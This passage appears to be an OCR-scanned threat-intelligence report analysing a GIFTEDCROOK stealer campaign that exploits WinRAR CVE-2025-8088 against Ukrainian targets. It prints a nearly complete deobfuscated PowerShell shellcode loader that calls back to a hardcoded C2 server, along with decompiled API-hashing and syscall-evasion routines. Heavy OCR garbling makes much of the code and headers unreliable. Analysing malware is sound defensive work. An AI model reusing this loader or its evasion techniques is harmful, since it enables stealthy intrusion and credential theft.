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0. Overview

This report details a targeted cyber-espionage campaign conducted by the Russia-aligned threat actor group APT
SHADOW-EARTH-066 (also tracked by CERT-UA as UAC-0226), delivering an updated variant of the
GIFTEDCROOK information stealer against Ukrainian military and government entities. As documented in
threat intelligence research published by Trend Micro, this campaign weaponizes a known path traversal flaw in
WinRAR (CVE-2025-8088) to compromise unmanaged endpoints.

The malware is distributed via password-protected RAR archives sent through spear-phishing emails
impersonating official communications from the Holosiivskyi District Territorial Center for Recruitment and
Social Support (TCC and SP). By exploiting WinRAR's NTFS Alternate Data Stream (ADS) path traversal
vulnerability, the archive silently writes payload files into C:\ProgramData and drops a shortcut ( .1nk ) file into

the Windows Startup folder to achieve persistence, all without user-visible extraction or execution alerts.

Upon system login or execution, an obfuscated PowerShell loader decrypts and reflectively loads a shellcode
payload utilizing direct/indirect syscalls (Hell's Gate technique) and FNV-1a API hashing to evade EDR hooks.
The final-stage GIFTEDCROOK stealer systematically harvests browser credentials, cookies, and session data
(Chrome, Edge, Opera, Firefox), along with sensitive documents, archives, and credential stores (KeePass,
OpenVPN, JKS). Stolen telemetry and files are RC4-encrypted, packaged into a ZIP archive, and exfiltrated over
HTTPS to dedicated threat actor Command and Control (C2) infrastructure, followed by an automated self-

cleanup routine erasing forensic artifacts post-execution.
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1. Initial Access via Phishing

The infection chain for this stealer relies on a classic, highly targeted phishing campaign. To bypass automated
security gateways that scan for malicious attachments, the threat actors distribute the malware inside a password-

protected archive, delivering the decryption key directly to the victim within the email body.

Return-Path: <holosivsk-rtckfukr.net>
RBeceived: from [10.10.10.63] ({helo=£frvl%l.fwdcdn.com)
by frve3.fwdcdn.com with ESMIP ID ER6ce—vgRnmm7Ud47
for chernigivdonorfukr.net; Thu, 25 Jun 202¢ 11:11:25 +0300
DEIM-Signature: v=1; a=r3a-shai’&; c=relaxed/relaxed; g=dns/txt:;
d=ukr.net; s=ffe:;
h=Content-Type:MIME-Version:Message-Id:To:Subject:From:Date
:Sender:Reply-To:Co:Content-Tranafer-Encoding: Content-ID
:Content-Description:Resent-Date:Resent-From:Resent-Sender
:Begent-To:Resent—-Cc:Resent-Message-ID: In-Reply-To:References
:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Poat
:List-Owner:List-Archive:;
bh=eEEnOxF3ERKgOCEKHEI/I5aRvRJ192iwhgtg/ChgalCk="
b=0jcQSFSEINryIMEkWmy 9FEL j0of 56nl1cZTWdBooTkTCaGTsPUSRQUOZD2v1BUaB
ITMILiB4TyTdypvwCAE3s0gqHcFlezbSG02szthng / OriwZ Jrr¥cF3fghKQ4ZHrc iR
gqvd £1+¥npY¥]l 7TjgijmreGdbeTuEewyd b KVEL O TYoHL jhil=;
Received: from [10.10.132.72] (helo=frvéd.fwdcdn.com)
by frvl9l.fwdcdn.com with ESMTP ID SRéce-wgEKnnuiyud7
for chernigivdonorfukr.net; Thu, 25 Jun 2026 11:11:25 +0300
Received: from [10.10.10.964] (helo=-)
by frvéd.fwdcdn.com with local ID SR6ce-—vgBnmm7U47
for chernigivdonorfukr.net; Thu, 25 Jun 2026 11:11:25 +0300
Date: Thu, 25 Jun 2026 11:11:25 +0300
From: =?UTF-87?b?0JPOvtCT0LTRgdGWOIZE0stGROY=0utC40Lk=7=
=?*UTF-87b? INGAOLDOudC+0L30wdC4 0 LkgOELOptCa INGCO LAg OEHOnW=—"?=
<holosivsk-rtckfukr.net>
To: chernigivdonorfukr.net
Received: from holosivsk-rtckfukr.net by frvéd.fwdcdn.com:
Thu, 25 Jun 2026 11:11:25 +0300
Megsage-Id: <1T7E82375012.076l803000.cdcerpemfrved . fwdedn. coms>
Subject: =?UIF-8?B?0JLR1tCO0LTOvHC+OYHRGEGWINCITNGRAOLERINGROYLRgNGD ?=
=?UTF-87B?INCy0ZbCudGR0Yz0ucC+0LLOvEC30LT03dC+0LIn0Y /Ot SCwOLIQuNGE 7=
=?UTF-87B?INC/0YDOviD0veEA0LORhtGWOLLOvdC40LER1tCy?=
=*UTF-87Q07 =E2=54=59820260025-355445]1%=
E-Mailer: mail.ukr.net 5.0
MTME-Version: 1.0

Content-Iype: miltipart/mixed; boundary="=-zvoiuiZTndd0Cx/TZUzER"
-—=—zvwin52¥nd4doCx/TZUzKR

Content-Iype: multipartfalternative; boundary="=-YBOSEKEYrVhLIFUMVOHUWS"
-—=-YBOSEEYrVEfFUMVOWaHE

Content-Iype: text/plain: charset="UIF-o"
Content-Tranafer-Encoding: binary

From: holosivsk-rtck@ukr[.]net

Victim: chernigivdonor@ukr[.]net
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e Social Engineering Lure: The email body is written in Ukrainian and utilizes a highly sensitive military

registration theme to create a sense of urgency.

o Impersonation: The message is signed by a "Senior Lieutenant Kosenko A.D.", falsely claiming to be an

official communication from the Holosiivskyi District TCC and SP (Territorial Center for Recruitment and

Social Support).

o The Hook: The email instructs the recipient to verify employee military records against the attached

document, explicitly providing the password 25062026 to unlock the archive.

2. CVE Exploit

Once the unsuspecting victim enters the provided password and attempts to extract the archive, the WinRAR

CVE-2025-8088 vulnerability is triggered. This exploit utilizes malicious NTFS file streams to establish an

ambush, quietly executing the initial shellcode on the host machine.

Vulnerability Overview

Property Details

CVE Identifier CVE-2025-8088

Vulnerability Type Path Traversal via NTFS Alternate Data Streams (ADS)
Severity High (CVSS v3.1 8.4)

Affected Versions WinRAR < 7.13 (WinRAR 7.12 and all earlier versions)
Fixed Version WinRAR 7.13 (and all subsequent releases)

Patch Release Date July 2025

Inside the password-protected archive, the attacker delivered two WinRAR-exploited archives, each with the same

payload, just different decoy pdf.

Mame

EEi,ﬂ,DMDCTi 3 peecTpy Bilcekoeo30BoB A3anux npo npagieHunkis 20260625-3904497-1,rar

m BigomocTi 3 peecTpy BifcekoBso3oBoe AzaHux npo npagisHnkie 20260625-3994491-2.rar

'T_exploit\ 1t peecrpy sii : npo npawsHiic i\

~exploiti st 3 pescrpy sif

‘r3anus npo npauje Hukie 20260625-3994491-1 rary

€RC Size Packed Size_Mndifi-d

6 20260625 39344912 pilfi 097F03D4 1224730 677255

npaujnukis 20260625-3994491-2,pof 284F2A8D 103776 100557 2026-06-2502:35 | 5] Biaomocti 3 pee

npaLienikie 20260625-3994491-1,pdf

ki 20260625-3994491 1. pfn,

cRe Size Packed Size  Modified

097F03D4 122470 677255

F033C35. 103399 100137 2026-06-250

Abusing NTFS Streams and Path Traversal: Once the victim enters the password to decrypt the archive, the

underlying mechanics of the CVE-2025-8088 exploit are set into motion. The attackers do not simply drop an
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executable next to a decoy document; instead, they weaponize the extraction process itself by exploiting how the

archiver parses malformed file names and NTFS Alternate Data Streams (ADS).

By examining the extracted artifacts, we can observe the exact directory traversal and staging techniques used to

quietly deploy the malware. The archive contains the following malformed entries tied to the decoy PDF:

1. BimomocTi 3 peecTpy BiliCbKOBO3060B 'A3aHMX NPO npauiBHUKiB 20260625-3994491-2.pdf:.. .. .o oo i e vu_.n

2. BigomocTi 3 peecTpy BiliCbKOBO3060B 'A3aHMX NPO npauiBHukis 20260625-3994491-2.pdf:.. .. .o oo i e vu

3. BimoMocCTi 3 peecTpy BilicbKOBO3060B'A3aHNX NPo npauiBHukis 20260625-3994491-2.pdf:.._.._.._.._.._Roaming_M:

This extraction sequence reveals a classic, yet highly effective, localized ambush utilizing two core techniques:

1. Stream Smuggling and Directory Traversal: The files use the decoy document (BizomocTi 3 peectpy...pdf)
as an anchor. The colon is typically reserved for NTFS Alternate Data Streams, but in this crafted archive,
it is abused in conjunction with path traversal sequences (....). When the vulnerable archiver processes
these entries, it fails to properly sanitize the paths. Instead of attaching a hidden data stream to the PDF in

the current directory, it traverses up the directory tree to drop payloads in critical system locations.

2. Staging in ProgramData: The first two extracted streams write components to the C:\ProgramData\

directory:

- ProgramData_I54d
- ProgramData_X3Hk

1. Immediate Persistence via LNK: The final extracted stream reveals the attacker's persistence mechanism.
By traversing into the user's Roaming profile, the exploit writes a shortcut file directly into the Windows

Startup folder:

...\Start Menu\Programs\Startup\dXd9PBI7I7RL9. lnk

Without execution, we can use this simple powershell script to dump the actual payload.

$file = Get-ChildItem *.pdf
Get-Item $file.FullName -Stream * |
Where-Object { $_.Stream -ne ':$DATA' } |
ForEach-Object {
$stream = $_.Stream
$outfile = ($stream -replace '[<>:"/\\|[?* 1','_") + ".bin"

Write-Host "Extracting $stream”
$content = Get-Content -LiteralPath $file.FullName -Stream $stream -Raw -Encoding Byte

[System.I0.File]::WriteAl1Bytes((Join-Path $PWD $outfile), $content)
Get-Item $outfile
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[] Mame Size Type
¥P
win_n_s_v_v_we_v_v_v_o_n_ProgramData_|534d.bin 1,104 KB BIM File
ST a il .._ProgramData_X3Hk.bin 32 KB BIM File

_._Roaming_Microsoft_Windows_Start_Menu_Programs_Startup_dXd9PBI7IVRLS.Ink.bin 2ZKB BIMFile

3. Analyzing the first stage

3.1. dXd9PBI717RLY.Ink file

The dXd9PBI7I7RL9.1nk file simply run the command to execute the X3Hk file.

xe
hell -NoPro -Win Hi -Exe Bypass -Com "powershell -NoP -Ex Bypass (g ProgramData\X3Hk "

3.2. C:\ProgramData\X3Hk file

This is the obfuscated powershell script that are used to execute the shellcode in the I54d file

eading rides+) {; $boxe . i fling whey - $sub_pawnshop_throw_sy

ability -conta
; whey -match "\d"

Y

nlaw ($car S$redesign_bun_voiceless_halloween_notion) {; $scow_lieutenant_propriet

iysfunctional_pace++) {; $leptocephalu t_ninja += $committee_due

-gt $deployment_advancement_subset
k $ dibble dare = 12
_dibble_dare) / ($bush_reali; |_exani 1ley_dibble_dare)

\chyme_outstanding_colorful_stopwatch i accident a oCharArray()
t dill netbal h andescence_glutamate casket in $carpet mesenchyn

Tostring().TeUpper

The malware uses the basic subtract encryption, with some obfuscation by changing the variable/function name,

and some garbage functions

The Raw string-decryption function is goat_lush_retire_fragrance_squeal

thoughtful) {

aining -1t $temp etery esbi aining++) { uest_different

$shootdown '1n:hilla_wea\.'e_thaughtfiii[ﬁ gent_lesbian_training hootdown_facelift_chinchilla_weave_ thoughtful.Length]

Once deobfuscated, it became:

for($i = 0; $i -1t $PayloadSize; $i++) {
$PayloadData[$i] =((($PayloadData[$i] - $DecryptionKey) % 256) + 256) % 256
I3

After some deobfuscation, the script becomes:

$unsafeNativeMethods =
([type]::GetType(
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[System.AppDomain]: :CurrentDomain.GetAssemblies()
| Where-Object {
$_.GlobalAssemblyCache -and
$_.Location.Split('\')[-1].Equals("System.d11")
}
)).GetType("Microsoft.Win32.UnsafeNativeMethods")

$getProcAddressMethod = $unsafeNativeMethods.GetMethod('GetProcAddress',[Type[]]@((New-Object System.Runtime.Ini
$GetModuleHandle = $unsafeNativeMethods.GetMethod('GetModuleHandle');

function Invoke-NativeCall {

param(
$Handle,
$Value

)

$handleRef = New-Object System.Runtime.InteropServices.HandleRef(
(New-Object IntPtr),
$GetModuleHandle.Invoke($null, @($Handle))

return $getProcAddressMethod.Invoke(
$null,
@($handleRef, $Value)

}
function New-DelegateType {
param(

[Type[]1$ParameterTypes,
[Typel$ReturnType = [void]

$assemblyName = New-Object System.Reflection.AssemblyName("ReflectedDelegate")

$assembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
$assemblyName,

[System.Reflection.Emit.AssemblyBuilderAccess]::Run

$module = $assembly.DefineDynamicModule("InMemoryModule", $false)

$typeBuilder = $module.DefineType(
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"MyDelegateType",
"Class, Public, Sealed, AutoClass",
[System.MulticastDelegate]

$typeBuilder.DefineConstructor(
"RTSpecialName, HideBySig, Public",
[System.Reflection.CallingConventions]::Standard,
$null

).SetImplementationFlags("Runtime, Managed")

$typeBuilder.DefineMethod(
"Invoke",
"Public, HideBySig, NewSlot, Virtual",
$ReturnType,
$ParameterTypes

).SetImplementationFlags("Runtime, Managed")

return $typeBuilder.CreateType()

function Get-NativeDelegate {
param(
$Handle,
$FunctionName,
[Type[]1$ParameterTypes,
[Typel$ReturnType = [void]

$functionPointer =

Invoke-NativeCall $Handle $FunctionName

$delegateType =
New-DelegateType $ParameterTypes $ReturnType

return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(

$functionPointer,

$delegateType

$BufferPtr = @()
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function New-NativeBuffer {
param(
[uint32]$Size,
[object]$Handlelut,
[int64]$InitialValue = 0

$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)

if($Size -eq 4) {
[System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, @, $InitialValue)

}
elseif($Size -eq 8) {
[System.Runtime.InteropServices.Marshal]::WriteInt64($ptr, @, $InitialValue)

$HandleOut += $ptr

return $ptr

$PayloadPath = 'I54d"

$DecryptionKey = 75

$EntryPointOffset = 0x17710

$PayloadSize = 0x113e00;

$PayloadData = [type]::GetType('System.I0.File')::ReadAl1Bytes('C:\ProgramData\' + $PayloadPath);

for($i = 0; $i -1t $PayloadSize; $i++) {
$PayloadData[$i] =((($PayloadData[$i] - $DecryptionKey) % 256) + 256) % 256
I3
$NtAllocateVirtualMemoryMethod = Get-NativeDelegate ntdll.d1l NtAllocateVirtualMemory @([IntPtr],[IntPtr],[IntPi

$ZeroType = [type]::GetType('System.IntPtr')::Zero;

$AllocationBaseAddress = New-NativeBuffer 8 $BufferPtr $ZeroType;
$AllocatedSize = New-NativeBuffer 8 $BufferPtr $PayloadSize + 1
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$NtStatus = $NtAllocateVirtualMemoryMethod. Invoke(
(New-Object System.Diagnostics.Process).GetType()::GetCurrentProcess().Handle,
$AllocationBaseAddress,
0,
$AllocatedSize,
0x3000,
4
)5

$MarshalAllocatedAddress = [type]::GetType('System.Runtime.InteropServices.Marshal')::ReadInt64($AllocationBase/

[type]::GetType('System.Runtime.InteropServices.Marshal')::Copy($PayloadData,,$MarshalAllocatedAddress, $Payloac

$NtProtectVirtualMemoryMethod = Get-NativeDelegate ntdll.d1l NtProtectVirtualMemory @([IntPtr],[IntPtr], [IntPtr
$01dProtection = New-NativeBuffer 8 $BufferPtr;
$NtStatus_2 = $NtProtectVirtualMemoryMethod. Invoke(
(New-Object System.Diagnostics.Process).GetType()::GetCurrentProcess().Handle,
$AllocationBaseAddress,
$AllocatedSize,
64,
$01dProtection
)i

$NtCreateThreadExMethod = Get-NativeDelegate ntdll.d11 NtCreateThreadEx @([IntPtr],[uint32],[IntPtr],[IntPtr],[:

$hThread = New-NativeBuffer 8 $BufferPtr;

# Create Thread with payload pointer as parameter
$NtStatus CreateThread = $NtCreateThreadExMethod.Invoke(
$hThread,
2097151,
[type]::GetType('System.IntPtr')::Zero,
(New-Object System.Diagnostics.Process).GetType()::GetCurrentProcess().Handle,
$MarshalAllocatedAddress + $EntryPointOffset,
$MarshalAllocatedAddress,
0,
0,
0,
0,
[type]::GetType('System.IntPtr')::Zero
)i

$ThreadHandle = [type]::GetType('System.Runtime.InteropServices.Marshal')::ReadInt64($hThread,0);

Page 9 of 67



https://bluecyber.hashnode.dev /beyond-the-archive-cve-2025-8088-stealer-targeting-ukraine

$NtWaitForSingleObjectMethod = Get-NativeDelegate ntdll.d1l NtWaitForSingleObject @([IntPtr],[bytel], [IntPtr])([t
$NtStatus_Wait = $NtWaitForSingleObjectMethod. Invoke(

$ThreadHandle,

0,

[type]::GetType('System.IntPtr')::Zero
)5

$ThreadExitCode = New-NativeBuffer 4 $BufferPtr;
$GetExitCodeThreadMethod = Get-NativeDelegate kernel32.d11 GetExitCodeThread @([IntPtr],[IntPtr])([bool]);
$GetResult = $GetExitCodeThreadMethod.Invoke(
$ThreadHandle,
$ThreadExitCode
)i
$ThreadExitCodeResult = [type]::GetType('System.Runtime.InteropServices.Marshal')::ReadInt32($ThreadExitCode,d)

if($ThreadExitCodeResult -ne @) {

([typel'System.Net.ServicePointManager')::ServerCertificateValidationCallback = { $true };

$C2Server = https://136.0.141.237:8942/seq0hyMc/;

$ShellcodeErrorMessage = @();

$ShellcodeErrorMessage += [type]::GetType('System.BitConverter')::GetBytes($ThreadExitCodeResult)
$ShellcodeErrorMessage += [type]::GetType('System.BitConverter')::GetBytes([type]::GetType('System.Runtime.:
$ShellcodeErrorMessage += [type]::GetType('System.BitConverter')::GetBytes([type]::GetType('System.Runtime.:
$ShellcodeErrorMessage += [type]::GetType('System.BitConverter')::GetBytes([type]::GetType('System.Runtime.:

$WebRequestMethod = [type]'System.Net.WebRequest';

$hiWebRequest = $WebRequestMethod::Create($C2Server)

$hiWebRequest.Method = POST

$hWebRequest.ContentLength = $ShellcodeErrorMessage.Length;

$hiWebRequestStream = $hWebRequest.GetRequestStream()
$hiWebRequestStream.Write($ShellcodeErrorMessage, @, $ShellcodeErrorMessage.Length);
$hiWebRequestStream.Close();

$NtCloseMethod = Get-NativeDelegate ntdll.d1l NtClose @([IntPtr])([uint32])
$NtStatus_close = $NtCloseMethod.Invoke($ThreadHandle);

foreach($BufferEntry in $BufferPtr) {;
[type]::GetType('System.Runtime.InteropServices.Marshal')::FreeHGlobal($BufferEntry);

This PowerShell script acts as a highly stealthy, fileless loader designed to decrypt and execute the primary
payload in memory. By relying on direct system calls and dynamic API resolution, the loader attempts to bypass

standard endpoint detection and response (EDR) user-land hooking.
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e Dynamic API Resolution: The script avoids using the standard Add-Type cmdlet, which would leave
compiled C# artifacts on the disk. Instead, it utilizes System.Reflection.Emit to dynamically define and
construct execution delegates purely in memory. It successfully locates

Microsoft.Win32.UnsafeNativeMethods within the globally loaded System.dll assembly to acquire
pointers for GetModuleHandle and GetProcAddress .

e Custom Payload Decryption: The loader targets the previously staged file located at
C:\ProgramData\I54d . It reads the entire 0x113e00-byte file into an array and decrypts it byte-by-byte.
The decryption routine is a straightforward arithmetic operation that subtracts a hardcoded key of 75 from

each byte and applies a modulo 256 operation to wrap the values.

o Direct System Calls (Self-Injection)*: The script executes the payload within its own PowerShell process
space. It uses the NtAllocateVirtualMemory system call to carve out memory. After copying the
decrypted payload into this allocated space, it calls NtProtectVirtualMemory with a protection constant of
64 (representing PAGE_EXECUTE_READWRITE ). Finally, it detonates the payload using NtCreateThreadEx ,
pointing the thread's execution directly to the payload's entry point at offset 0x17710.

e Error Telemetry and C2 Callback: The loader actively monitors the execution thread by calling
NtWaitForSingleObject and retrieves the result with GetExitCodeThread . If the payload fails (indicated
by a non-zero exit code), the script disables SSL certificate validation and executes a POST request to a
hardcoded command and control (C2) server at [https[:]//136[.]0[.]141[.]237:8942/seqOhyMc/]

e Upon analyzing the shellcode, we know that these three offsets are Error code, Execution result, and

payload stage

MarshalAllocatedAddres
MarshalAllocatedAddres
oz

MarshalAllocatedAddress

3.3. The final C:\ProgramData\I54d payload

Based on the upper deobfuscated script:
Filename: C:\ProgramData\l54d Size: 0x113e00 Shellcode entrypoint: 0x17710

In the upper NtCreateThreadEx the malware use it own allocated shellcode address as parameter

# Create Thread with payload pointer as parameter
$NtStatus CreateThread = $NtCreateThreadExMethod.Invoke(
$hThread,
2097151,
[type]::GetType('System.IntPtr')::Zero,
(New-Object System.Diagnostics.Process).GetType()::GetCurrentProcess().Handle,
$MarshalAllocatedAddress + $EntryPointOffset,
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$MarshalAllocatedAddress,

0,

0,

0,

0,

[type]::GetType('System.IntPtr')::Zero
)i

Therefore, if you want to debug this shellcode, you would need something like this

if (ReadEntireFile("shellcode.bin", &buffer, &size)){

VirtualProtect(buffer, size, PAGE_EXECUTE_READWRITE, &0ldProtect);
HANDLE hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE) (buffer + 0x17710),
(LPVOID)(buffer), // <--- Need this parameter
0,
NULL
)i
WaitForSingleObject(hThread, INFINITE);

At address 0x17710, we can see the entry point of the shellcode, as shown below.
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__inte4 _ fastcall EntryPoint (MW _CONTEXT *Ctx)
i

Ctx-rSectionBase = Ctx;
++{tx->Payloadstage_at@xdc;
hkKernel32 = fn_get_module_by hash_FNV_1a(@xAIEGFEC3);
if [ hKernel32 == ERR_MODULE_NOT_FOUND )
ErrorCode = ERR_MODULE_KERNEL32_NOT_FOUND ;
LB_ERROR_EXIT:
*={/tx->ErrorCode_@x44 = Errorlode;
return -1LLj;
T
++{tx-*Payload5tage_at@xdc;
LoadLibraryd = fn_get_api_by hash_FNV_1a(hKernel32, LoadLibrarya 8);
if { LoadLibraryA == ERR_API_NOT_FOUND )
ErrorCode = ERR_API_LOADLIBRARYA_NOT_FOUND;
goto LB_ERROR_EXIT;

by
LoadLibrary® PTR = LoadLibraryd;

++{tx->PayloadStage at@xdc;
GetProcAddress = fn_get _api_ by _hash_FNV_la(hKernel32, GetProcAddress_@);
if { GetProcAddress == ERR_API_NOT_FOUMD )

4

ErrorCode = ERR_API_GETPROCADDRESS_NOT_FOUND;
goto LB_ERROR_EXIT;

¥

3.3.1. PEB Walking and FNV-1a Hashing

To evade static analysis and conceal its dependencies from traditional import table inspection, the shellcode

dynamically resolves required modules like kernel32.dll using API hashing.

The hashing algorithm used in this sample is: FNV-1a
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do

wCharl = D1lName[index];
lowerCharl = wCharl + 32;
if { (wCharl - 65) »= Bx1Au )
lowerCharl = wCharl;
intermediateHash = @x1888193 * (CaculatedHash " lowerCharl);
charPtr = D11lName[index + 1];
lowerChar2 = charPtr + 32;
if { (charPtr - 65} »= @xlAu )
lower{har2 = charPtr;
CaculatedHash = @x1888193 * (intermediateHash " lowerCharl):
index += 2LL;
T
while { (D11lMamelLength & @xFFFFFFFE} != index };

4
if { (D1lMamelLength & 1) != @ )
{

trailingChar = D11Mame[index];

lowerTrailingChar = trailingChar + 32:

if { (trailingChar - 65) »>= @x1Au )

lowerTrailingChar = trailingChar;

CaculatedHash = @x1988193 # (lowerTrailingChar ~ CaculatedHash);

H

if ( CaculatedHash == InputHash )

These hash values are available in HashDB

The following algorithms contain @ matching hash.
Select an algorithm to set as the default for HashDE.

Algorithm Size (Bits)

The first two API be resolved are: LoadlLibraryA and GetProcAddress
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1 Ctx-»SectionBase = Ctx;
2 ++(tx->Payloadstage at@xdc;
3 hKernel32 = fn_get_module_ by _hash_FNV_1a(kernel32_d11);
4 if { hkernel32 == ERR_MODULE_NOT_FOUND )
5 {
5 ErrorCode = ERR_MODULE_KERMEL32 NOT_FOUND;
7  LB_ERROR_EXIT:
3 #qCtx-*ErrorCode_@xd44 = ErrorCode;
9 return -1LL;
18 1
11 ++(tx->Payloadstage at@xdc;
12 LoadLibraryA = fn_get_api_by_hash_FNV_1la(hKernel3Z, LoadlLibrarya_8);
13 if { LoadLibraryA == ERR_APT NOT_FOUND )
14 {
15 ErrorCode = ERR_API_LOADLIBRARYA_MOT FOUND:
16 goto LE_ERROR_EXIT;
17 1
13 LoadLibraryA_PTR = LoadlLibraryd;
19 ++{tx->Payloadstage at@xdc;
28 GetProcAddress = fn_get_api_by_hash_FNV_la(hKernel32, GetProcAddress_@);
21 if { GetProcAddress == ERR_APT_NOT_FOUND )
22 {
23 Error{ode = ERR_API_GETPROCADDRESS_MOT_FOUND;
24 poto LB _ERROR_EXIT;
25 1
26 GetProcAddress_ = GetProcAddress;
27 ++(tx->Payloadstage at@xdc;
28 p_ExecutionResult_8wd8 = &Ctx-rExecuticnResult_6wds;
29 p_ErrorCode_@x44 = &Cix->ErrorCode_Bxdd;

3.3.2. Resolve syscall stub

To bypass user-land Endpoint Detection and Response (EDR) hooks placed on ntdll.dll functions, the malware

employs a direct system call evasion technique reminiscent of the Hell's Gate and Halo's Gate frameworks.

The fn_resolve_syscall_stub function dynamically resolves ntdll.dll and locates critical APIs—such as
NtAllocateVirtualMemory , NtCreateThreadEx , and NtProtectVirtualMemory —using the previously analyzed
FNV-1a hashing method. However, instead of calling these exported functions directly, the malware parses their
in-memory instruction stubs searching for the 0xB8 opcode ( mov eax, imm32 ). Instead of checking only the
current byte, it also examines the previous three bytes (offset-3 to offset) to account for the scan position
potentially overshooting the instruction boundary. Once the opcode is found, the function records its location and
continues processing to extract the syscall information. This technique is commonly used by direct-syscall
frameworks (e.g., Hell's Gate / Halo's Gate variants) to recover syscall numbers directly from ntdll and avoid

relying on potentially hooked exported functions.
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1 MW_SIGMNAL CODE _ fastcall fn_resolve syscall stub(int *pCurrentfPIHash, DWORD *pCurrentSyscallStub){
2 hitD11 = fn_get_module_by hash_FNV_la(ntdll_dll};

3 if { hNtD11 == -1LL )}

4 {

- SyscalStub = @xFFFFFFFFLL;

6 CurrentAPIHash = ERR_MODULE_NTDLL_MOT_FOUMD;

7 goto LB_CLEANUP_EXIT;

8 by

g LODWORD ( MtAllocateVirtualMemoryHash) = NtAllocateVirtualMemory _@;

16 NtCloseHash = NtClose_@;

11 MtCreateFileHash = MtCreateFile 8;

12 NtCreateThreadExHash = NtCreateThreadEx_8;

13 MtDeleteFileHash = MtDeleteFile @;

14 MtFlushInstructionCacheHash = NtFlushInstructionCache @;

15 MtFreeVirtualMemoryHash = MtFresVirtualMemory @;

16 NtGetNextProcessHash = NtGetNextProcess_8;

17 MtProtectVirtualMemoryHash = NtProtectVirtualMemory_@;

13 MtQueryittributesFileHash = NtQueryAttributesFile @;

19 MtQueryDirectoryFileExHash = @x7FECE13E;

28 MtQueryInformationFileHash = NtQueryInformationFile @;

2 MtQueryInformationProcessHash = NtQueryInformationProcess_@;

22 MtReadFileHash = NtReadFile_@;

23 MtReadVirtualMemoryHash = NtReadVirtualMemory @;

24 MtTerminateProcessHash = NtTerminateProcess @;

25 MthaitForsingleObjectHaszh = NtlaitForSingleObject @;

26 MtkriteFileHash = MWtWriteFile_@;

27 NtkritevirtualMemoryHash = NtWritevirtualMemory @;

28 NtAllocateVirtualMemory = fn_get_api_by hash_FNV_1la(hNtD11l, MtAllocateVirtualMemory_@);
29 if { NtAllocateVirtualMemory == -1LL )}

38 {

Eal SyscalStub = ERR_API_NOT_FOUND;

32 CurrentAPIHash = NtAllocateVirtualMemoryHash;

33 goto LB CLEANUP_EXIT;

34 b

35 idx = 3LL;

36 i = BLL;

37 while ( 1 )

33 I » -
39 if ( NtAllocateVirtualMemory[idx - 3] ==[@xad ) / Fbilebigs ey (oGl
48 { .
M NtAllocateVirtuslMemorySyscallCode = ENtAllocateVirtualMe (mov eax, imm32)
42 LODWORD (idx) = idx - 3;

43 goto LB_DOME_EXIT;

44 I

45 if ( NtAllocateVirtualMemory[idx - 2] ==|exss|)

45 {

47 MtAllocateVirtualMemorySyscallCode = &NtAllocateVirtu i+ 17;

48 LODWORD{ idx) = idx - 2;

49 goto LB_DOME_EXIT;

58 5

51 if { MtAllocateVirtualMemory[idx - 1] = )

52 {

53 MtAllocateVirtualMemorySyscallCode = &NtAllocateViftualMemory[i + 2];

54 LODWORD{ idx) = idx - 1;

55 goto LB_DOME_EXIT:

56 z

57 if ( MtAllocateVirtualMemory[idx] == [8xB8])

Step-by-step
¢ Scan the Nt* syscall stub for the 0xB8 (mov eax, syscall_number) opcode.

e Checks the previous 3 bytes to tolerate scan misalignment
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e Records the syscall stub location for later syscall number extraction. Similar to Hell's gate technique:

https://github.com/amOnsec/HellsGate/blob/master/HellsGate/main.c

O‘ [:] 25 github.com/amOnsec/HellsGate/blob/master/HellsGate/main.c
[y ¥ master -

Blame 211 lines (176 loc)

PVOID VixMoveMemory(

if (*({(PBYTE)pFunctionAddress + cw) =

if (*((PBYTE)pFunctionAddress + cw) == @

*((PBYTE) pFunctionAddress +

*( (PBYTE) pFunctionAddress + 2

*({PBYTE) pFunctionAddress + 3

*( (PBYTE) pFunctionAddress + &

*( (PBYTE) pFunctionAddress + 7 ) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + ow);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry-»wSystemCall = (high << 8) | low;
Br-

List of APIs be resolved this way:

1. NtClose

NtCreateFile
NtCreateThreadEx
NtDeleteFile
NtFlushInstructionCache
NtFreeVirtualMemory
NtGetNextProcess

00 N o Ul B~ NN

NtProtectVirtualMemory

9. NtQueryAttributesFile

10. NtQueryDirectoryFileEx
11. NtQueryInformationFile
12. NtQueryInformationProcess
13. NtReadFile

14. NtReadVirtualMemory

15. NtTerminateProcess

16. NtWaitForSingleObject
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17. NtWriteFile
18. NtWriteVirtualMemory

Based on the result, and error handling from the EntryPoint

1 if ( hKernel32 == ERR_MODULE_NOT_FOUND )

2 i

3 ErrorCode = ERR_MODULE_KERNEL3Z_NOT_FOUMND;

4 LE_ERROR_EXIT:

5 Factx-*ErrorCode_8xd44 = ErrorCode; |
. =

7

8

9

returm -1LL;

i
L Chx- »PayloadStage_at@xdc; |
LoadLibraryA = fn_get_api_by_hash_FNV_1la(hKernel3Z, LoadlLibrarya 8);
18 if ( LoadLibraryA == ERR_APT NOT_FOUND )
1 {
12 ErrorCode = ERR_APT_LOADLIBRARYA NOT FOUND;
13 goto LB_ERROR_EXIT;
14 1
15 LoadLibraryf_PTR = LoadlLibraryd;
16 |++Ctx->PayID;HStaEe at@xdc; |
17 GetProchddress = fn_get_api_by_hash_FNV_la(hKernel32, GetProcAddress_8);
18 if ( GetProcAddress == ERR_API_MNOT FOUMD )
19 {
28 ErrorCode = ERR_API_GETPROCADDRESS NOT_FOUND;
71 goto LB_ERROR_EXIT;
22 1
23 GetProcAddress_ = GetProciddress;
24 +{tx->PayloadStage atBxdc;
25 Xecutionkesu ¥ = &l tx->Executionfesu B

We know the value in these offset
e 0x44: The error code
e 0x4C: The payload stage
e (0x48: Execution result

Therefore we can define the context struct for the shellcode:

struct PAYLOAD_HEADER

{
DWORD ImportTableOffset;
DWORD ImportTableSize;
DWORD IATOffset;
DWORD IATSize;
DWORD BaseRelocOffset;
DWORD BaseRelocSize;
DWORD PreferredImageBase;
DWORD Reserved;

ki
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struct MW_CONTEXT{
PAYLOAD_HEADER PayloadHeader;
QWORD SectionBase;
QWORD AllocatedAddressSize 0x11A000;
unsigned int PayloadOffset_0x113E_at0x30;
unsigned int AllocationSize_0x11A000;
unsigned int D11MainEntryPoint_0x8F834;
